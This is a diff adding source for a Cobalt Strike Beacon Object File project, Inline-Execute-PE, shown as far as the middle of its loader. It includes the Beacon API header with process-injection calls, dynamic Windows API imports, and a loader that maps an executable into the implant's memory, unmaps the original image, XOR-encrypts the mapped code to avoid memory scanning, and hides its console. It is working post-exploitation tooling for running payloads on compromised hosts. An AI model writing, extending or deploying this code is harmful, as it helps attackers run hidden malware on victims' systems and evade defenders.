     6 +perun: perun.c
     7 + x86_64-w64-mingw32-gcc -c perun.c -o perun.x64.o -DBOF -Os
     8 + 
     9 +peunload: peunload.c
     10 + x86_64-w64-mingw32-gcc -c peunload.c -o peunload.x64.o -DBOF -Os
     11 + 
     12 +oldrun: oldrun.c
     13 + x86_64-w64-mingw32-gcc -c oldrun.c -o oldrun.x64.o -DBOF -Os
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/beacon.h
     1 +/*
     2 + * Beacon Object Files (BOF)
     3 + * -------------------------
     4 + * A Beacon Object File is a light-weight post exploitation tool that runs
     5 + * with Beacon's inline-execute command.
     6 + *
     7 + * Additional BOF resources are available here:
     8 + * - https://github.com/Cobalt-Strike/bof_template
     9 + *
     10 + * Cobalt Strike 4.x
     11 + * ChangeLog:
     12 + * 1/25/2022: updated for 4.5
     13 + */
     14 + 
     15 +/* data API */
     16 +typedef struct {
     17 + char * original; /* the original buffer [so we can free it] */
     18 + char * buffer; /* current pointer into our buffer */
     19 + int length; /* remaining length of data */
     20 + int size; /* total size of this buffer */
     21 +} datap;
     22 + 
     23 +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
     24 +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
     25 +DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
     26 +DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
     27 +DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
     28 +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
     29 + 
     30 +/* format API */
     31 +typedef struct {
     32 + char * original; /* the original buffer [so we can free it] */
     33 + char * buffer; /* current pointer into our buffer */
     34 + int length; /* remaining length of data */
     35 + int size; /* total size of this buffer */
     36 +} formatp;
     37 + 
     38 +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
     39 +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
     40 +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
     41 +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
     42 +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
     43 +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
     44 +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
     45 + 
     46 +/* Output Functions */
     47 +#define CALLBACK_OUTPUT 0x0
     48 +#define CALLBACK_OUTPUT_OEM 0x1e
     49 +#define CALLBACK_OUTPUT_UTF8 0x20
     50 +#define CALLBACK_ERROR 0x0d
     51 + 
     52 +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
     53 +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
     54 + 
     55 + 
     56 +/* Token Functions */
     57 +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
     58 +DECLSPEC_IMPORT void BeaconRevertToken();
     59 +DECLSPEC_IMPORT BOOL BeaconIsAdmin();
     60 + 
     61 +/* Spawn+Inject Functions */
     62 +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
     63 +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
     64 +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
     65 +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
     66 +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
     67 + 
     68 +/* Utility Functions */
     69 +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/bofdefs.h
     1 +#pragma once
     2 +#include <windows.h>
     3 +#include <stdio.h>
     4 +#include <corecrt.h>
     5 +#include <winternl.h>
     6 +#include <stdlib.h>
     7 +#include <io.h>
     8 +#include <fcntl.h>
     9 +#include <inttypes.h>
     10 +#include <tlhelp32.h>
     11 + 
     12 +//MSVCRT
     13 +WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
     14 +WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);
     15 +WINBASEAPI size_t __cdecl MSVCRT$strlen(const char*);
     16 +WINBASEAPI void *__cdecl MSVCRT$memcpy(void*, void*, size_t);
     17 +WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);
     18 +WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
     19 +WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
     20 +WINBASEAPI int __cdecl MSVCRT$_stricmp (LPCSTR lpString1, LPCSTR lpString2);
     21 +WINBASEAPI int __cdecl MSVCRT$_dup (int _FileHandle);
     22 +WINBASEAPI int __cdecl MSVCRT$_dup2(int _FileHandleSrc, int _FileHandleDst);
     23 +WINBASEAPI int __cdecl MSVCRT$_open_osfhandle(intptr_t _OSFileHandle, int _Flags);
     24 +WINBASEAPI int __cdecl MSVCRT$_fileno(FILE* _Stream);
     25 +WINBASEAPI int __cdecl MSVCRT$setvbuf(FILE* _Stream, char* _Buffer, int _Mode, size_t _Size);
     26 +WINBASEAPI int __cdecl MSVCRT$_close(int _FileHandle);
     27 +WINBASEAPI int __cdecl MSVCRT$_flushall(void);
     28 +WINBASEAPI int __cdecl MSVCRT$printf(const char* format);
     29 +WINBASEAPI errno_t __cdecl MSVCRT$freopen_s (FILE** stream, const char* fileName, const char* mode, FILE* oldStream);
     30 +WINBASEAPI FILE* __cdecl MSVCRT$__iob_func();
     31 +WINBASEAPI int __cdecl MSVCRT$fclose(FILE* stream);
     32 +WINBASEAPI char* __cdecl MSVCRT$_itoa(int value, char* str, int base);
     33 +WINBASEAPI int __cdecl MSVCRT$_atoi(const char* str);
     34 +WINBASEAPI int __cdecl MSVCRT$sprintf_s(char* buffer, size_t sizeOfBuffer, const char* format, ...);
     35 +WINBASEAPI unsigned long long __cdecl MSVCRT$_strtoull(const char* strSource, char** endptr, int base);
     36 +WINBASEAPI __int64 __cdecl MSVCRT$_strtoi64(const char* strSource, char** endptr, int base);
     37 +WINBASEAPI void __cdecl MSVCRT$_cexit();
     38 +WINBASEAPI int __cdecl MSVCRT$strcmp(const char* string1, const char* string2);
     39 +WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* string1, const wchar_t* string2);
     40 + 
     41 +//K32
     42 +WINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);
     43 +WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar ( UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
     44 +WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread (DWORD dwExitCode);
     45 +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem);
     46 +WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);
     47 +WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
     48 +WINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
     49 +WINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
     50 +WINBASEAPI BOOL WINAPI KERNEL32$CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize);
     51 +WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
     52 +WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);
     53 +WINBASEAPI BOOL WINAPI KERNEL32$PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage);
     54 +WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
     55 +WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);
     56 +WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
     57 +WINBASEAPI HWND WINAPI KERNEL32$GetConsoleWindow(void);
     58 +WINBASEAPI BOOL WINAPI KERNEL32$AllocConsole(void);
     59 +WINBASEAPI BOOL WINAPI KERNEL32$FreeConsole(void);
     60 +WINBASEAPI HANDLE WINAPI KERNEL32$GetStdHandle(DWORD nStdHandle);
     61 +WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplatefile);
     62 +WINBASEAPI BOOL WINAPI KERNEL32$SetStdHandle(DWORD nStdHandle, HANDLE hHandle);
     63 +WINBASEAPI void WINAPI KERNEL32$SetLastError(DWORD dwErrCode);
     64 +WINBASEAPI BOOL WINAPI KERNEL32$FreeConsole(void);
     65 +WINBASEAPI void WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);
     66 +WINBASEAPI DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
     67 +WINBASEAPI HWND WINAPI KERNEL32$GetConsoleWindow(void);
     68 +WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes);
     69 +WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId();
     70 +WINBASEAPI DWORD WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessID, DWORD* pSessionId);
     71 +WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
     72 +WINBASEAPI BOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
     73 +WINBASEAPI BOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
     74 +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
     75 +WINBASEAPI BOOL WINAPI KERNEL32$TerminateProcess(HANDLE hProcess, UINT uExitcode);
     76 +WINBASEAPI DWORD WINAPI KERNEL32$GetProcessHeaps(DWORD NumberOfHeaps, PHANDLE ProcessHeaps);
     77 +WINBASEAPI BOOL WINAPI KERNEL32$QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount);
     78 +WINBASEAPI BOOL WINAPI KERNEL32$QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency);
     79 +WINBASEAPI BOOL WINAPI KERNEL32$TerminateThread(HANDLE hthread, DWORD dwExitCode);
     80 +WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HANDLE hLibModule);
     81 +WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpfOldProtect);
     82 +WINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC(PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData);
     83 +WINBASEAPI DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread);
     84 +WINBASEAPI BOOL WINAPI KERNEL32$SetThreadContext(HANDLE hThread, CONTEXT *lpContext);
     85 +WINBASEAPI BOOL WINAPI KERNEL32$GetThreadContext(HANDLE hThread, LPCONTEXT lpContext);
     86 +WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread);
     87 +WINBASEAPI DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread);
     88 +WINBASEAPI HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId);
     89 +WINBASEAPI DWORD WINAPI KERNEL32$GetModuleFileNameA(HANDLE hModule, LPSTR lpFilename, DWORD nSize);
     90 + 
     91 +//PSAPI
     92 +WINBASEAPI BOOL WINAPI PSAPI$EnumProcessModules(HANDLE HProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded);
     93 + 
     94 +//USER32
     95 +WINBASEAPI BOOL WINAPI USER32$ShowWindow(HWND hWnd, int nCmdShow);
     96 +WINBASEAPI int WINAPI USER32$MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
     97 + 
     98 +//SHELL32
     99 +WINBASEAPI LPWSTR* WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCMdLine, int* pNumArgs);
     100 + 
     101 +//NTDLL
     102 +WINBASEAPI NTSTATUS NTAPI NTDLL$NtQueryInformationProcess(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
     103 + 
     104 +//MSVCRT
     105 +#define malloc MSVCRT$malloc
     106 +#define free MSVCRT$free
     107 +#define strlen MSVCRT$strlen
     108 +#define memcpy MSVCRT$memcpy
     109 +#define calloc MSVCRT$calloc
     110 +#define memset MSVCRT$memset
     111 +#define wcslen MSVCRT$wcslen
     112 +#define _stricmp MSVCRT$_stricmp
     113 +#define _dup MSVCRT$_dup
     114 +#define _dup2 MSVCRT$_dup2
     115 +#define _open_osfhandle MSVCRT$_open_osfhandle
     116 +#define _fileno MSVCRT$_fileno
     117 +#define setvbuf MSVCRT$setvbuf
     118 +#define _close MSVCRT$_close
     119 +#define _flushall MSVCRT$_flushall
     120 +#define printf MSVCRT$printf
     121 +#define freopen_s MSVCRT$freopen_s
     122 +#define __iob_func MSVCRT$__iob_func
     123 +#define fclose MSVCRT$fclose
     124 +#define _itoa MSVCRT$_itoa
     125 +#define _atoi MSVCRT$_atoi
     126 +#define sprintf_s MSVCRT$sprintf_s
     127 +#define _strtoull MSVCRT$_strtoull
     128 +#define _strtoi64 MSVCRT$_strtoi64
     129 +#define _cexit MSVCRT$_cexit
     130 +#define strcmp MSVCRT$strcmp
     131 +#define wcscmp MSVCRT$wcscmp
     132 +#define sscanf MSVCRT$sscanf
     133 + 
     134 + 
     135 +//K32
     136 +#define ReadProcessMemory KERNEL32$ReadProcessMemory
     137 +#define GetCurrentProcess KERNEL32$GetCurrentProcess
     138 +#define WideCharToMultiByte KERNEL32$WideCharToMultiByte
     139 +#define MultiByteToWideChar KERNEL32$MultiByteToWideChar
     140 +#define ExitThread KERNEL32$ExitThread
     141 +#define LocalFree KERNEL32$LocalFree
     142 +#define LoadLibraryA KERNEL32$LoadLibraryA
     143 +#define GetProcAddress KERNEL32$GetProcAddress
     144 +#define VirtualAlloc KERNEL32$VirtualAlloc
     145 +#define VirtualFree KERNEL32$VirtualFree
     146 +#define CreatePipe KERNEL32$CreatePipe
     147 +#define CreateThread KERNEL32$CreateThread
     148 +#define WaitForSingleObject KERNEL32$WaitForSingleObject
     149 +#define PeekNamedPipe KERNEL32$PeekNamedPipe
     150 +#define ReadFile KERNEL32$ReadFile
     151 +#define GetLastError KERNEL32$GetLastError
     152 +#define CloseHandle KERNEL32$CloseHandle
     153 +#define GetConsoleWindow KERNEL32$GetConsoleWindow
     154 +#define AllocConsole KERNEL32$AllocConsole
     155 +#define FreeConsole KERNEL32$FreeConsole
     156 +#define GetStdHandle KERNEL32$GetStdHandle
     157 +#define SetStdHandle KERNEL32$SetStdHandle
     158 +#define CreateFileA KERNEL32$CreateFileA
     159 +#define SetLastError KERNEL32$SetLastError
     160 +#define FreeConsole KERNEL32$FreeConsole
     161 +#define Sleep KERNEL32$Sleep
     162 +#define GetProcessId KERNEL32$GetProcessId
     163 +#define GetConsoleWindow KERNEL32$GetConsoleWindow
     164 +#define LocalAlloc KERNEL32$LocalAlloc
     165 +#define GetCurrentProcessId KERNEL32$GetCurrentProcessId
     166 +#define ProcessIdToSessionId KERNEL32$ProcessIdToSessionId
     167 +#define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot
     168 +#define Process32First KERNEL32$Process32First
     169 +#define Process32Next KERNEL32$Process32Next
     170 +#define OpenProcess KERNEL32$OpenProcess
     171 +#define TerminateProcess KERNEL32$TerminateProcess
     172 +#define GetProcessHeaps KERNEL32$GetProcessHeaps
     173 +#define QueryPerformanceCounter KERNEL32$QueryPerformanceCounter
     174 +#define QueryPerformanceFrequency KERNEL32$QueryPerformanceFrequency
     175 +#define TerminateThread KERNEL32$TerminateThread
     176 +#define FreeLibrary KERNEL32$FreeLibrary
     177 +#define VirtualProtect KERNEL32$VirtualProtect
     178 +#define SuspendThread KERNEL32$SuspendThread
     179 +#define GetThreadContext KERNEL32$GetThreadContext
     180 +#define SetThreadContext KERNEL32$SetThreadContext
     181 +#define ResumeThread KERNEL32$ResumeThread
     182 +#define GetThreadId KERNEL32$GetThreadId
     183 +#define OpenThread KERNEL32$OpenThread
     184 +#define GetModuleFileNameA KERNEL32$GetModuleFileNameA
     185 + 
     186 +//PSAPI
     187 +#define EnumProcessModules PSAPI$EnumProcessModules
     188 + 
     189 +//USER32
     190 +#define ShowWindow USER32$ShowWindow
     191 +#define MessageBoxA USER32$MessageBoxA
     192 + 
     193 +//SHELL32
     194 +#define CommandLineToArgvW SHELL32$CommandLineToArgvW
     195 + 
     196 +//NTDLL
     197 +#define NtQueryInformationProcess NTDLL$NtQueryInformationProcess
     198 + 
     199 +//Structures invovled in parsing PEB
     200 + 
     201 +#define RTL_MAX_DRIVE_LETTERS 32
     202 + 
     203 +typedef UNICODE_STRING* PUNICODE_STRING;
     204 + 
     205 +typedef struct _RTL_DRIVE_LETTER_CURDIR {
     206 + USHORT Flags;
     207 + USHORT Length;
     208 + ULONG TimeStamp;
     209 + UNICODE_STRING DosPath;
     210 +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
     211 + 
     212 + 
     213 +typedef struct _CURDIR
     214 +{
     215 + UNICODE_STRING DosPath;
     216 + HANDLE Handle;
     217 +} CURDIR, * PCURDIR;
     218 + 
     219 +typedef struct _uRTL_USER_PROCESS_PARAMETERS
     220 +{
     221 + ULONG MaximumLength;
     222 + ULONG Length;
     223 + 
     224 + ULONG Flags;
     225 + ULONG DebugFlags;
     226 + 
     227 + HANDLE ConsoleHandle;
     228 + ULONG ConsoleFlags;
     229 + HANDLE StandardInput;
     230 + HANDLE StandardOutput;
     231 + HANDLE StandardError;
     232 + 
     233 + CURDIR CurrentDirectory;
     234 + UNICODE_STRING DllPath;
     235 + UNICODE_STRING ImagePathName;
     236 + UNICODE_STRING CommandLine;
     237 + PVOID Environment;
     238 + 
     239 + ULONG StartingX;
     240 + ULONG StartingY;
     241 + ULONG CountX;
     242 + ULONG CountY;
     243 + ULONG CountCharsX;
     244 + ULONG CountCharsY;
     245 + ULONG FillAttribute;
     246 + 
     247 + ULONG WindowFlags;
     248 + ULONG ShowWindowFlags;
     249 + UNICODE_STRING WindowTitle;
     250 + UNICODE_STRING DesktopInfo;
     251 + UNICODE_STRING ShellInfo;
     252 + UNICODE_STRING RuntimeData;
     253 + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];
     254 + 
     255 + ULONG EnvironmentSize;
     256 + ULONG EnvironmentVersion;
     257 + PVOID PackageDependencyData; //8+
     258 + ULONG ProcessGroupId;
     259 + // ULONG LoaderThreads;
     260 +} uRTL_USER_PROCESS_PARAMETERS, * uPRTL_USER_PROCESS_PARAMETERS;
     261 + 
     262 +struct MemAddrs {
     263 + BYTE* pImageBase;
     264 + BYTE* pBackupImage;
     265 + DWORD AddressOfEntryPoint;
     266 + DWORD SizeOfImage;
     267 + FILE* fout;
     268 + FILE* ferr;
     269 + HANDLE hreadout;
     270 + HANDLE hwriteout;
     271 + int fo;
     272 + DWORD dwNumModules;
     273 + BOOL bCloseFHandles;
     274 +};
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/peload.c
     1 +#include "bofdefs.h"
     2 +#include "beacon.h"
     3 + 
     4 +#pragma warning (disable: 4996)
     5 +#define _CRT_SECURE_NO_WARNINGS
     6 +#define ARRAY_MODULES_SIZE 128
     7 + 
     8 +//PE vars
     9 +IMAGE_NT_HEADERS* ntHeader = NULL;
     10 + 
     11 +FILE *__cdecl __acrt_iob_funcs(int index)
     12 +{
     13 + return &(__iob_func()[index]);
     14 +}
     15 + 
     16 +#define stdin (__acrt_iob_funcs(0))
     17 +#define stdout (__acrt_iob_funcs(1))
     18 +#define stderr (__acrt_iob_funcs(2))
     19 + 
     20 + 
     21 +BYTE* getNtHdrs(BYTE* pe_buffer)
     22 +{
     23 + if (pe_buffer == NULL) return NULL;
     24 + 
     25 + IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer;
     26 + if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
     27 + return NULL;
     28 + }
     29 + const LONG kMaxOffset = 1024;
     30 + LONG pe_offset = idh->e_lfanew;
     31 + if (pe_offset > kMaxOffset) return NULL;
     32 + IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((BYTE*)pe_buffer + pe_offset);
     33 + if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL;
     34 + return (BYTE*)inh;
     35 +}
     36 + 
     37 +IMAGE_DATA_DIRECTORY* getPeDir(PVOID pe_buffer, size_t dir_id)
     38 +{
     39 + if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
     40 + 
     41 + BYTE* nt_headers = getNtHdrs((BYTE*)pe_buffer);
     42 + if (nt_headers == NULL) return NULL;
     43 + 
     44 + IMAGE_DATA_DIRECTORY* peDir = NULL;
     45 + 
     46 + IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers;
     47 + peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]);
     48 + 
     49 + if (peDir->VirtualAddress == NULL) {
     50 + return NULL;
     51 + }
     52 + return peDir;
     53 +}
     54 + 
     55 +void xorPE(char* pImageBase, DWORD sizeofimage, char* key)
     56 +{
     57 + //Copy key into char array for easier use in XOR function
     58 + char temp[100] = {0};
     59 + memcpy(temp, key, strlen(key));
     60 + 
     61 + DWORD a = 0;
     62 + 
     63 + while (a < sizeofimage) {
     64 + //If byte isn't null, we xor it
     65 + if(*(pImageBase + a) != 0x00) //if((*(pImageBase + a) != 0x00 ) && (*(pImageBase + a) ^ temp[a % strlen(temp)] != 0x00))
     66 + {
     67 + //XOR byte using key
     68 + *(pImageBase + a) ^= temp[a % strlen(temp)];
     69 + 
     70 + //If resulting byte is a null byte, we xor back to original
     71 + if(*(pImageBase + a) == 0x00)
     72 + {
     73 + *(pImageBase + a) ^= temp[a % strlen(temp)];
     74 + }
     75 + }
     76 + a++;
     77 + }
     78 + memset(temp, 0, strlen(key));
     79 + return;
     80 +}
     81 + 
     82 +BOOL peLoader(char* data, int peLen, char* key)
     83 +{
     84 + //Create MemAddr struct to contain important values for the mapped PE
     85 + struct MemAddrs *pMemAddrs = malloc(sizeof(struct MemAddrs));
     86 + memset(pMemAddrs, 0, sizeof(struct MemAddrs));
     87 + 
     88 +//------------------------------------------Manually map PE into memory------------------------------------------
     89 + 
     90 + LONGLONG fileSize = -1;
     91 + LPVOID preferAddr = 0;
     92 + ntHeader = (IMAGE_NT_HEADERS*)getNtHdrs(data);
     93 + if (!ntHeader)
     94 + {
     95 + BeaconPrintf(CALLBACK_OUTPUT, "[-] File isn't a PE file.");
     96 + BeaconPrintf(CALLBACK_OUTPUT, "peload failure");
     97 + 
     98 + //Free pMemAddr struct
     99 + free(pMemAddrs);
     100 + 
     101 + return FALSE;
     102 + }
     103 + 
     104 + IMAGE_DATA_DIRECTORY* relocDir = getPeDir(data, IMAGE_DIRECTORY_ENTRY_BASERELOC);
     105 + preferAddr = (LPVOID)ntHeader->OptionalHeader.ImageBase;
     106 + //BeaconPrintf(CALLBACK_OUTPUT, "[+] Exe File Prefer Image Base at %x\n", preferAddr);
     107 + 
     108 + HMODULE dll = LoadLibraryA("ntdll.dll");
     109 + ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, "NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)ntHeader->OptionalHeader.ImageBase);
     110 + 
     111 + pMemAddrs->pImageBase = (BYTE*)VirtualAlloc(preferAddr, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     112 + if (!pMemAddrs->pImageBase && !relocDir)
     113 + {
     114 + BeaconPrintf(CALLBACK_OUTPUT, "[-] Allocate Image Base At %x Failure.\n", preferAddr);
     115 + BeaconPrintf(CALLBACK_OUTPUT, "peload failure");
     116 + 
     117 + //Free pMemAddr struct
     118 + free(pMemAddrs);
     119 + 
     120 + return FALSE;
     121 + }
     122 + if (!pMemAddrs->pImageBase && relocDir)
     123 + {
     124 + BeaconPrintf(CALLBACK_OUTPUT, "[+] Try to Allocate Memory for New Image Base\n");
     125 + pMemAddrs->pImageBase = (BYTE*)VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     126 + if (!pMemAddrs->pImageBase)
     127 + {
     128 + BeaconPrintf(CALLBACK_OUTPUT, "[-] Allocate Memory For Image Base Failure.\n");
     129 + BeaconPrintf(CALLBACK_OUTPUT, "peload failure");
     130 + 
     131 + //Free pMemAddr struct
     132 + free(pMemAddrs);
     133 + 
     134 + return FALSE;
     135 + }
     136 + }
     137 + 
     138 + ntHeader->OptionalHeader.ImageBase = (size_t)pMemAddrs->pImageBase;
     139 + memcpy(pMemAddrs->pImageBase, data, ntHeader->OptionalHeader.SizeOfHeaders);
     140 + 
     141 + IMAGE_SECTION_HEADER* SectionHeaderArr = (IMAGE_SECTION_HEADER*)((size_t)(ntHeader) + sizeof(IMAGE_NT_HEADERS));
     142 + for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++)
     143 + {
     144 + //BeaconPrintf(CALLBACK_OUTPUT, " [+] Mapping Section %s\n", SectionHeaderArr[i].Name);
     145 + memcpy((LPVOID)((size_t)(pMemAddrs->pImageBase) + SectionHeaderArr[i].VirtualAddress), (LPVOID)((size_t)(data) + SectionHeaderArr[i].PointerToRawData), SectionHeaderArr[i].SizeOfRawData);
     146 + }
     147 +
     148 + //Update struct with EntryPoint, ImageSize
     149 + pMemAddrs->AddressOfEntryPoint = ntHeader->OptionalHeader.AddressOfEntryPoint;
     150 + pMemAddrs->SizeOfImage = ntHeader->OptionalHeader.SizeOfImage;
     151 +
     152 + //Encrypt PE in memory
     153 + xorPE(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, key);
     154 + 
     155 + //Now create back-up of PE in memory so we can restore it in-between runs.
     156 + //Some PE's can run multiple times without issues, other crash on 2nd run for unknown reasons. Remapping works fine.
     157 + pMemAddrs->pBackupImage = (BYTE*)VirtualAlloc(NULL, pMemAddrs->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
     158 + memcpy(pMemAddrs->pBackupImage, pMemAddrs->pImageBase, pMemAddrs->SizeOfImage);
     159 +
     160 + //Enumerate all loaded DLL's before we have map/run the new PE to establish baseline so we can unload DLL's later
     161 + DWORD cbNeeded;
     162 + HMODULE* loadedModules = calloc(ARRAY_MODULES_SIZE, sizeof(HMODULE));
     163 + EnumProcessModules((HANDLE)-1, loadedModules, ARRAY_MODULES_SIZE * sizeof(HMODULE), &cbNeeded);
     164 + pMemAddrs->dwNumModules = cbNeeded / sizeof(HMODULE);
     165 + free(loadedModules);
     166 + 
     167 +//------------------------Now create conhost.exe, setup stdout/stderr, and redirect output-----------------------
     168 + 
     169 + //Allocate Console
     170 + BOOL suc = AllocConsole();
     171 + 
     172 + //Immediately hide window
     173 + ShowWindow(GetConsoleWindow(), SW_HIDE);
     174 + 
     175 + //Reopen stdout/stderr and associate to new FILE* fout and ferr
     176 + freopen_s(&pMemAddrs->fout, "CONOUT$", "r+", stdout);
     177 + freopen_s(&pMemAddrs->ferr, "CONOUT$", "r+", stderr);
     178 + 
     179 + //Set pMemAddrs->bCloseFHandles to TRUE by default
     180 + //This distinction is necessary because depending on whether we bail on execution during perun, we have to alter how we cleanup
     181 + pMemAddrs->bCloseFHandles = TRUE;
     182 + 
     183 + //Create an Anonymous pipe for both stdout and stderr
     184 + SECURITY_ATTRIBUTES sao = { sizeof(sao),NULL,TRUE };
     185 + CreatePipe(&pMemAddrs->hreadout, &pMemAddrs->hwriteout, &sao, 0);
     186 + 
     187 + //Set StandardOutput and StandardError in PEB to write-end of anonymous pipe
     188 + SetStdHandle(STD_OUTPUT_HANDLE, pMemAddrs->hwriteout);
     189 + SetStdHandle(STD_ERROR_HANDLE, pMemAddrs->hwriteout);
     190 + 
     191 + //Create File Descriptor from the Windows Handles for write-end of anonymous pipe
     192 + pMemAddrs->fo = _open_osfhandle((intptr_t)(pMemAddrs->hwriteout), _O_TEXT);
     193 + 
